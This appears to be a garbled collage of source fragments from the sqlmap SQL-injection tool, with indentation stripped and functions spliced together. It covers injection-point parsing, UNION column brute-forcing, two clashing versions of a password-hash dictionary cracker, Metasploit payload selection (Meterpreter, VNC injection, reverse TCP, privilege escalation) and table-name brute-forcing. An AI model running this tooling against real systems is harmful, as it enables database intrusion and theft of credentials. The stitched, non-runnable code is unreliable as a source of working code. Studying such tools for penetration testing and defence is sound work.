conf.paramDict[place] = paramDict
testableParameters = True
else:
if CUSTOM_INJECTION_MARK_CHAR not in conf.data: # in case that no usable parameter values has been found
conf.parameters[PLACE.POST] = conf.data
kb.processUserMarks = True if (kb.postHint and CUSTOM_INJECTION_MARK_CHAR
in conf.data) else kb.processUserMarks
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(
place in conf.parameters for place in (PLACE.GET, PLACE.POST)
) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data
or ""):
warnMsg = "you've provided target URL without any GET "
warnMsg += "parameters (e.g. www.site.com/article.php?id=1) "
warnMsg += "and without providing any POST parameters "
warnMsg += "through --data option"
logger.warn(warnMsg)
message = "do you want to try URI injections "
message += "in the target URL itself? [Y/n/q] "
test = readInput(message, default="Y")
if not test or test[0] not in ("n", "N"):
conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR)
kb.processUserMarks = True
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data),
(PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value
or "") if place == PLACE.CUSTOM_HEADER else value or ""
if CUSTOM_INJECTION_MARK_CHAR in _:
if kb.processUserMarks is None:
lut = {
PLACE.URI:
'-u',
PLACE.CUSTOM_POST:
'--data',
PLACE.CUSTOM_HEADER:
'--headers/--user-agent/--referer/--cookie'
}
message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR
message += "'%s'. Do you want to process it? [Y/n/q] " % lut[
place]
test = readInput(message, default="Y")
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
kb.processUserMarks = not test or test[0] not in ("n", "N")
if not kb.processUserMarks:
if place == PLACE.URI:
query = urlparse.urlsplit(value).query
if query:
parameters = conf.parameters[PLACE.GET] = query
paramDict = paramToDict(PLACE.GET, parameters)
if paramDict:
conf.url = conf.url.split('?')[0]
conf.paramDict[PLACE.GET] = paramDict
testableParameters = True
elif place == PLACE.CUSTOM_POST:
conf.parameters[PLACE.POST] = conf.data
paramDict = paramToDict(PLACE.POST, conf.data)
if paramDict:
conf.paramDict[PLACE.POST] = paramDict
testableParameters = True
else:
conf.parameters[place] = value
conf.paramDict[place] = OrderedDict()
if place == PLACE.CUSTOM_HEADER:
for index in xrange(len(conf.httpHeaders)):
header, value = conf.httpHeaders[index]
if CUSTOM_INJECTION_MARK_CHAR in re.sub(
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "",
value):
parts = value.split(CUSTOM_INJECTION_MARK_CHAR)
for i in xrange(len(parts) - 1):
conf.paramDict[place][
"%s #%d%s" %
(header, i + 1, CUSTOM_INJECTION_MARK_CHAR
)] = "%s,%s" % (header, "".join(
"%s%s" %
(parts[j], CUSTOM_INJECTION_MARK_CHAR
if i == j else "")
for j in xrange(len(parts))))
conf.httpHeaders[index] = (
header,
value.replace(CUSTOM_INJECTION_MARK_CHAR, ""))
else:
parts = value.split(CUSTOM_INJECTION_MARK_CHAR)
for i in xrange(len(parts) - 1):
conf.paramDict[place]["%s#%d%s" % (
("%s " % kb.postHint) if kb.postHint else "",
i + 1, CUSTOM_INJECTION_MARK_CHAR)] = "".join(
"%s%s" %
(parts[j],
CUSTOM_INJECTION_MARK_CHAR if i == j else "")
for j in xrange(len(parts)))
if place == PLACE.URI and PLACE.GET in conf.paramDict:
del conf.paramDict[PLACE.GET]
elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict:
del conf.paramDict[PLACE.POST]
testableParameters = True
if kb.processUserMarks:
for item in ("url", "data", "agent", "referer", "cookie"):
if conf.get(item):
conf[item] = conf[item].replace(CUSTOM_INJECTION_MARK_CHAR, "")
# Perform checks on Cookie parameters
if conf.cookie:
conf.parameters[PLACE.COOKIE] = conf.cookie
paramDict = paramToDict(PLACE.COOKIE, conf.cookie)
if paramDict:
conf.paramDict[PLACE.COOKIE] = paramDict
testableParameters = True
# Perform checks on header values
if conf.httpHeaders:
for httpHeader, headerValue in conf.httpHeaders:
# Url encoding of the header values should be avoided
# Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
httpHeader = httpHeader.title()
if httpHeader == HTTP_HEADER.USER_AGENT:
conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
condition = any((not conf.testParameter,
intersect(conf.testParameter,
USER_AGENT_ALIASES)))
if condition:
conf.paramDict[PLACE.USER_AGENT] = {
PLACE.USER_AGENT: headerValue
}
testableParameters = True
elif httpHeader == HTTP_HEADER.REFERER:
conf.parameters[PLACE.REFERER] = urldecode(headerValue)
condition = any((not conf.testParameter,
intersect(conf.testParameter,
REFERER_ALIASES)))
if condition:
conf.paramDict[PLACE.REFERER] = {
PLACE.REFERER: headerValue
}
testableParameters = True
elif httpHeader == HTTP_HEADER.HOST:
conf.parameters[PLACE.HOST] = urldecode(headerValue)
condition = any((not conf.testParameter,
intersect(conf.testParameter, HOST_ALIASES)))
if condition:
conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue}
testableParameters = True
if not conf.parameters:
errMsg = "you did not provide any GET, POST and Cookie "
errMsg += "parameter, neither an User-Agent, Referer or Host header value"
raise SqlmapGenericException(errMsg)
elif not testableParameters:
errMsg = "all testable parameters you provided are not present "
errMsg += "within the given request data"
raise SqlmapGenericException(errMsg)
def forgeHeaders(items=None, base=None):
"""
Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
the HTTP requests
"""
items = items or {}
for _ in list(items.keys()):
if items[_] is None:
del items[_]
headers = OrderedDict(conf.httpHeaders if base is None else base)
headers.update(items.items())
class _str(str):
def capitalize(self):
return _str(self)
def title(self):
return _str(self)
_ = headers
headers = OrderedDict()
for key, value in _.items():
success = False
for _ in headers:
if _.upper() == key.upper():
del headers[_]
break
if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)):
try:
headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455
except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on)
pass
else:
success = True
if not success:
key = '-'.join(_.capitalize() for _ in key.split('-'))
headers[key] = value
if conf.cj:
if HTTP_HEADER.COOKIE in headers:
for cookie in conf.cj:
if cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain):
continue
if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]):
if conf.loadCookies:
conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders))
elif kb.mergeCookies is None:
message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
message += "The target URL provided its own cookies within "
message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
message += "Do you want to merge them in further requests? [Y/n] "
kb.mergeCookies = readInput(message, default='Y', boolean=True)
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
def _(value):
return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
if PLACE.COOKIE in conf.parameters:
conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE])
conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders]
elif not kb.testMode:
headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value))
if kb.testMode and not any((conf.csrfToken, conf.safeUrl)):
resetCookieJar(conf.cj)
return headers
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix,
suffix):
"""
This method tests if the target URL is affected by an union
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
validPayload = None
vector = None
orderBy = kb.orderByColumns
uChars = (conf.uChar, kb.uChar)
where = PAYLOAD.WHERE.ORIGINAL if isNullValue(
kb.uChar) else PAYLOAD.WHERE.NEGATIVE
# In case that user explicitly stated number of columns affected
if conf.uColsStop == conf.uColsStart:
count = conf.uColsStart
else:
count = _findUnionCharCount(comment, place, parameter, value, prefix,
suffix, where)
if count:
validPayload, vector = _unionConfirm(comment, place, parameter, prefix,
suffix, count)
if not all((validPayload, vector)) and not all(
(conf.uChar, conf.dbms, kb.unionTemplate)):
if Backend.getIdentifiedDbms(
) and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
if kb.fuzzUnionTest is None:
msg = "do you want to (re)try to find proper "
msg += "UNION column types with fuzzy test? [y/N] "
kb.fuzzUnionTest = readInput(msg,
default='N',
boolean=True)
if kb.fuzzUnionTest:
kb.unionTemplate = _fuzzUnionCols(
place, parameter, prefix, suffix)
warnMsg = "if UNION based SQL injection is not detected, "
warnMsg += "please consider "
if not conf.uChar and count > 1 and kb.uChar == NULL:
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
if not readInput(message, default='Y', boolean=True):
warnMsg += "usage of option '--union-char' "
warnMsg += "(e.g. '--union-char=1') "
else:
conf.uChar = kb.uChar = str(randomInt(2))
validPayload, vector = _unionConfirm(
comment, place, parameter, prefix, suffix, count)
if not conf.dbms:
if not conf.uChar:
warnMsg += "and/or try to force the "
else:
warnMsg += "forcing the "
warnMsg += "back-end DBMS (e.g. '--dbms=mysql') "
if not all(
(validPayload, vector)) and not warnMsg.endswith("consider "):
singleTimeWarnMessage(warnMsg)
if orderBy is None and kb.orderByColumns is not None and not all(
(validPayload, vector)
): # discard ORDER BY results (not usable - e.g. maybe invalid altogether)
conf.uChar, kb.uChar = uChars
validPayload, vector = _unionTestByCharBruteforce(
comment, place, parameter, value, prefix, suffix)
return validPayload, vector
def _selectRhost(self):
message = "what is the back-end DBMS address? [%s] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
return address
def dictionaryAttack(attack_dict):
suffix_list = [""]
custom_wordlist = [""]
hash_regexes = []
results = []
resumes = []
user_hash = []
processException = False
foundHash = False
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[
regex].__name__
logger.info(infoMsg)
for hash_regex in hash_regexes:
keys = set()
attack_info = []
for (user, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
foundHash = True
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if re.match(hash_regex, hash_):
try:
item = None
if hash_regex not in (
HASH.CRYPT_GENERIC, HASH.JOOMLA,
HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT,
HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1,
HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA,
HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5,
HASH.DJANGO_SHA1, HASH.MD5_BASE64,
HASH.SHA1_BASE64, HASH.SHA256_BASE64,
HASH.SHA512_BASE64):
hash_ = hash_.lower()
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64,
HASH.SHA256_BASE64,
HASH.SHA512_BASE64):
item = [(user,
encodeHex(decodeBase64(hash_,
binary=True))), {}]
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD,
HASH.MD5_GENERIC,
HASH.SHA1_GENERIC,
HASH.SHA224_GENERIC,
HASH.SHA256_GENERIC,
HASH.SHA384_GENERIC,
HASH.SHA512_GENERIC,
HASH.APACHE_SHA1):
item = [(user, hash_), {}]
elif hash_regex in (HASH.SSHA, ):
item = [(user, hash_), {
"salt":
decodeBase64(hash_, binary=True)[20:]
}]
elif hash_regex in (HASH.SSHA256, ):
item = [(user, hash_), {
"salt":
decodeBase64(hash_, binary=True)[32:]
}]
elif hash_regex in (HASH.SSHA512, ):
item = [(user, hash_), {
"salt":
decodeBase64(hash_, binary=True)[64:]
}]
elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
item = [(user, hash_), {'username': user}]
elif hash_regex in (HASH.ORACLE, ):
item = [(user, hash_), {"salt": hash_[-20:]}]
elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD,
HASH.MSSQL_NEW):
item = [(user, hash_), {"salt": hash_[6:14]}]
elif hash_regex in (HASH.CRYPT_GENERIC, ):
item = [(user, hash_), {"salt": hash_[0:2]}]
elif hash_regex in (HASH.UNIX_MD5_CRYPT,
HASH.APACHE_MD5_CRYPT):
item = [(user, hash_), {
"salt": hash_.split('$')[2],
"magic": "$%s$" % hash_.split('$')[1]
}]
elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN,
HASH.VBULLETIN_OLD):
item = [(user, hash_), {
"salt": hash_.split(':')[-1]
}]
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
item = [(user, hash_), {
"salt": hash_.split('$')[1]
}]
elif hash_regex in (HASH.WORDPRESS, ):
if ITOA64.index(hash_[3]) < 32:
item = [(user, hash_), {
"salt": hash_[4:12],
"count": 1 << ITOA64.index(hash_[3]),
"prefix": hash_[:12]
}]
else:
warnMsg = "invalid hash '%s'" % hash_
logger.warn(warnMsg)
if item and hash_ not in keys:
resumed = hashDBRetrieve(hash_)
if not resumed:
attack_info.append(item)
user_hash.append(item[0])
else:
infoMsg = "resuming password '%s' for hash '%s'" % (
resumed, hash_)
if user and not user.startswith(
DUMMY_USER_PREFIX):
infoMsg += " for user '%s'" % user
logger.info(infoMsg)
resumes.append((user, hash_, resumed))
keys.add(hash_)
except (binascii.Error, IndexError):
pass
if not attack_info:
continue
if not kb.wordlists:
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD, ):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
message = "what dictionary do you want to use?\n"
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[
0]
message += "[2] custom dictionary file\n"
message += "[3] file with list of dictionary files"
choice = readInput(message, default='1')
try:
if choice == '2':
message = "what's the custom dictionary's location?\n"
dictPath = readInput(message)
if dictPath:
dictPaths = [dictPath]
logger.info("using custom dictionary")
elif choice == '3':
message = "what's the list file location?\n"
listPath = readInput(message)
checkFile(listPath)
dictPaths = getFileItems(listPath)
logger.info("using custom list of dictionaries")
else:
logger.info("using default dictionary")
dictPaths = [_ for _ in dictPaths if _]
for dictPath in dictPaths:
checkFile(dictPath)
if isZipFile(dictPath):
_ = zipfile.ZipFile(dictPath, 'r')
if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % dictPath
raise SqlmapDataException(errMsg)
else:
_.open(_.namelist()[0])
kb.wordlists = dictPaths
except Exception as ex:
warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % getSafeExString(ex)
logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] "
if readInput(message, default='N', boolean=True):
suffix_list += COMMON_PASSWORD_SUFFIXES
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[
hash_regex].__name__
logger.info(infoMsg)
for item in attack_info:
((user, _), _) = item
if user and not user.startswith(DUMMY_USER_PREFIX):
custom_wordlist.append(normalizeUnicode(user))
# Algorithms without extra arguments (e.g. salt and/or username)
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC,
HASH.SHA1_GENERIC, HASH.SHA224_GENERIC,
HASH.SHA256_GENERIC, HASH.SHA384_GENERIC,
HASH.SHA512_GENERIC, HASH.APACHE_SHA1,
HASH.VBULLETIN, HASH.VBULLETIN_OLD):
for suffix in suffix_list:
if not attack_info or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count(
)
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(
target=_bruteProcessVariantA,
args=(attack_info, hash_regex, suffix, retVal,
i, count, kb.wordlists, custom_wordlist,
conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
retVal = _queue.Queue()
_bruteProcessVariantA(attack_info, hash_regex, suffix,
retVal, 0, 1, kb.wordlists,
custom_wordlist, conf.api)
except KeyboardInterrupt:
print()
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
if conf.hashDB:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = [
_ for _ in attack_info
if _[0][0] != user or _[0][1] != hash_
]
hashDBWrite(hash_, word)
results.append(item)
if conf.hashDB:
conf.hashDB.endTransaction()
clearConsoleLine()
else:
for ((user, hash_), kwargs) in attack_info:
if processException:
break
if any(_[0] == user and _[1] == hash_ for _ in results):
continue
count = 0
found = False
for suffix in suffix_list:
if found or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count(
)
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
found_ = _multiprocessing.Value('i', False)
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(
target=_bruteProcessVariantB,
args=(user, hash_, kwargs, hash_regex,
suffix, retVal, found_, i, count,
kb.wordlists, custom_wordlist,
conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
found = found_.value != 0
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
class Value(object):
pass
retVal = _queue.Queue()
found_ = Value()
found_.value = False
_bruteProcessVariantB(user, hash_, kwargs,
hash_regex, suffix, retVal,
found_, 0, 1, kb.wordlists,
custom_wordlist, conf.api)
found = found_.value
except KeyboardInterrupt:
print()
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal and conf.hashDB:
if conf.hashDB:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(
block=False)
hashDBWrite(hash_, word)
results.append(item)
if conf.hashDB:
conf.hashDB.endTransaction()
clearConsoleLine()
results.extend(resumes)
if foundHash and len(hash_regexes) == 0:
warnMsg = "unknown hash format"
logger.warn(warnMsg)
if len(results) == 0:
warnMsg = "no clear password(s) found"
logger.warn(warnMsg)
return results
def dictionaryAttack(attack_dict):
suffix_list = [""]
custom_wordlist = []
hash_regexes = []
results = []
resumes = []
processException = False
user_hash = []
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0]
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[
regex].func_name
logger.info(infoMsg)
for hash_regex in hash_regexes:
keys = set()
attack_info = []
for (user, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0]
if re.match(hash_regex, hash_):
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS):
hash_ = hash_.lower()
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD,
HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
item = [(user, hash_), {}]
elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
item = [(user, hash_), {'username': user}]
elif hash_regex in (HASH.ORACLE):
item = [(user, hash_), {'salt': hash_[-20:]}]
elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD):
item = [(user, hash_), {'salt': hash_[6:14]}]
elif hash_regex in (HASH.CRYPT_GENERIC):
item = [(user, hash_), {'salt': hash_[0:2]}]
elif hash_regex in (HASH.WORDPRESS):
item = [(user, hash_), {
'salt': hash_[4:12],
'count': 1 << ITOA64.index(hash_[3]),
'prefix': hash_[:12]
}]
if item and hash_ not in keys:
resumed = hashDBRetrieve(hash_)
if not resumed:
attack_info.append(item)
user_hash.append(item[0])
else:
infoMsg = "resuming password '%s' for hash '%s'" % (
resumed, hash_)
if user and not user.startswith(DUMMY_USER_PREFIX):
infoMsg += " for user '%s'" % user
logger.info(infoMsg)
resumes.append((user, hash_, resumed))
keys.add(hash_)
if not attack_info:
continue
if not kb.wordlists:
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
message = "what dictionary do you want to use?\n"
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[
0]
message += "[2] custom dictionary file\n"
message += "[3] file with list of dictionary files"
choice = readInput(message, default="1")
try:
if choice == "2":
message = "what's the custom dictionary's location?\n"
dictPaths = [readInput(message)]
logger.info("using custom dictionary")
elif choice == "3":
message = "what's the list file location?\n"
listPath = readInput(message)
checkFile(listPath)
dictPaths = getFileItems(listPath)
logger.info("using custom list of dictionaries")
else:
logger.info("using default dictionary")
for dictPath in dictPaths:
checkFile(dictPath)
kb.wordlists = dictPaths
except sqlmapFilePathException, msg:
warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % msg
logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] "
test = readInput(message, default="N")
if test[0] in ("y", "Y"):
suffix_list += COMMON_PASSWORD_SUFFIXES
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[
hash_regex].func_name
logger.info(infoMsg)
for item in attack_info:
((user, _), _) = item
if user and not user.startswith(DUMMY_USER_PREFIX):
custom_wordlist.append(normalizeUnicode(user))
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC,
HASH.SHA1_GENERIC):
for suffix in suffix_list:
if len(attack_info) <= len(results) or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count(
)
singleTimeLogMessage(infoMsg)
retVal = _multiprocessing.Queue()
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
p = _multiprocessing.Process(
target=__bruteProcessVariantA,
args=(attack_info, hash_regex, suffix, retVal,
i, count, kb.wordlists, custom_wordlist))
processes.append(p)
for p in processes:
p.start()
for p in processes:
p.join()
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
retVal = Queue()
__bruteProcessVariantA(attack_info, hash_regex, suffix,
retVal, 0, 1, kb.wordlists,
custom_wordlist)
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except OSError:
pass
finally:
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = filter(
lambda _: _[0][0] != user or _[0][1] != hash_,
attack_info)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
else:
for ((user, hash_), kwargs) in attack_info:
if processException:
break
if any(_[0] == user and _[1] == hash_ for _ in results):
continue
count = 0
found = False
for suffix in suffix_list:
if found or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count(
)
singleTimeLogMessage(infoMsg)
retVal = _multiprocessing.Queue()
found_ = _multiprocessing.Value('i', False)
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
p = _multiprocessing.Process(
target=__bruteProcessVariantB,
args=(user, hash_, kwargs, hash_regex,
suffix, retVal, found_, i, count,
kb.wordlists, custom_wordlist))
processes.append(p)
for p in processes:
p.start()
for p in processes:
p.join()
found = found_.value != 0
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
class Value():
pass
retVal = Queue()
found_ = Value()
found_.value = False
__bruteProcessVariantB(user, hash_, kwargs,
hash_regex, suffix, retVal,
found_, 0, 1, kb.wordlists,
custom_wordlist)
found = found_.value
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except OSError:
pass
finally:
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(
block=False)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
def _selectPayload(self):
if Backend.isOs(OS.WINDOWS) and conf.privEsc:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to "
infoMsg += "escalate privileges via 'incognito' extension, "
infoMsg += "'getsystem' command or post modules"
logger.info(infoMsg)
_payloadStr = "windows/meterpreter"
else:
_payloadStr = self._skeletonSelection("payload",
self._msfPayloadsList)
if _payloadStr == "windows/vncinject":
choose = False
if Backend.isDbms(DBMS.MYSQL):
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, it is likely that the the VNC "
debugMsg += "injection will be successful"
logger.debug(debugMsg)
elif Backend.isDbms(DBMS.PGSQL):
choose = True
warnMsg = "by default PostgreSQL on Windows runs as "
warnMsg += "postgres user, it is unlikely that the VNC "
warnMsg += "injection will be successful"
logger.warn(warnMsg)
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")):
choose = True
warnMsg = "it is unlikely that the VNC injection will be "
warnMsg += "successful because usually Microsoft SQL Server "
warnMsg += "%s runs as Network Service " % Backend.getVersion()
warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg)
if choose:
message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n"
message += "[2] Fall back to Meterpreter payload (default)\n"
message += "[3] Fall back to Shell payload"
while True:
choice = readInput(message, default="2")
if not choice or choice == "2":
_payloadStr = "windows/meterpreter"
break
elif choice == "3":
_payloadStr = "windows/shell"
break
elif choice == "1":
if Backend.isDbms(DBMS.PGSQL):
logger.warn(
"beware that the VNC injection might not work")
break
elif Backend.isDbms(
DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")):
break
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 2:
logger.warn("invalid value, it must be 1 or 2")
if self.connectionStr.startswith(
"reverse_http") and _payloadStr != "windows/meterpreter":
warnMsg = "Reverse HTTP%s connection is only supported " % (
"S" if self.connectionStr.endswith("s") else "")
warnMsg += "with the Meterpreter payload. Falling back to "
warnMsg += "reverse TCP"
logger.warn(warnMsg)
self.connectionStr = "reverse_tcp"
return _payloadStr
def tableExists(tableFile, regex=None):
if kb.tableExistsChoice is None and not any(
_ for _ in kb.injection.data
if _ not in (PAYLOAD.TECHNIQUE.TIME,
PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (
PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME],
PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common table existence check"
logger.warn(warnMsg)
message = "are you sure you want to continue? [y/N] "
kb.tableExistsChoice = readInput(message, default='N', boolean=True)
if not kb.tableExistsChoice:
return None
result = inject.checkBooleanExpression(
"%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
(randomInt(1), randomStr())))
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if result:
errMsg = "can't use table existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg)
message = "which common tables (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % tableFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common tables file location?\n"
tableFile = readInput(message) or tableFile
infoMsg = "checking table existence using items from '%s'" % tableFile
logger.info(infoMsg)
tables = getFileItems(tableFile,
lowercase=Backend.getIdentifiedDbms()
in (DBMS.ACCESS, ),
unique=True)
tables.extend(_addPageTextWords())
tables = filterListValue(tables, regex)
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(tables)
threadData.shared.value = []
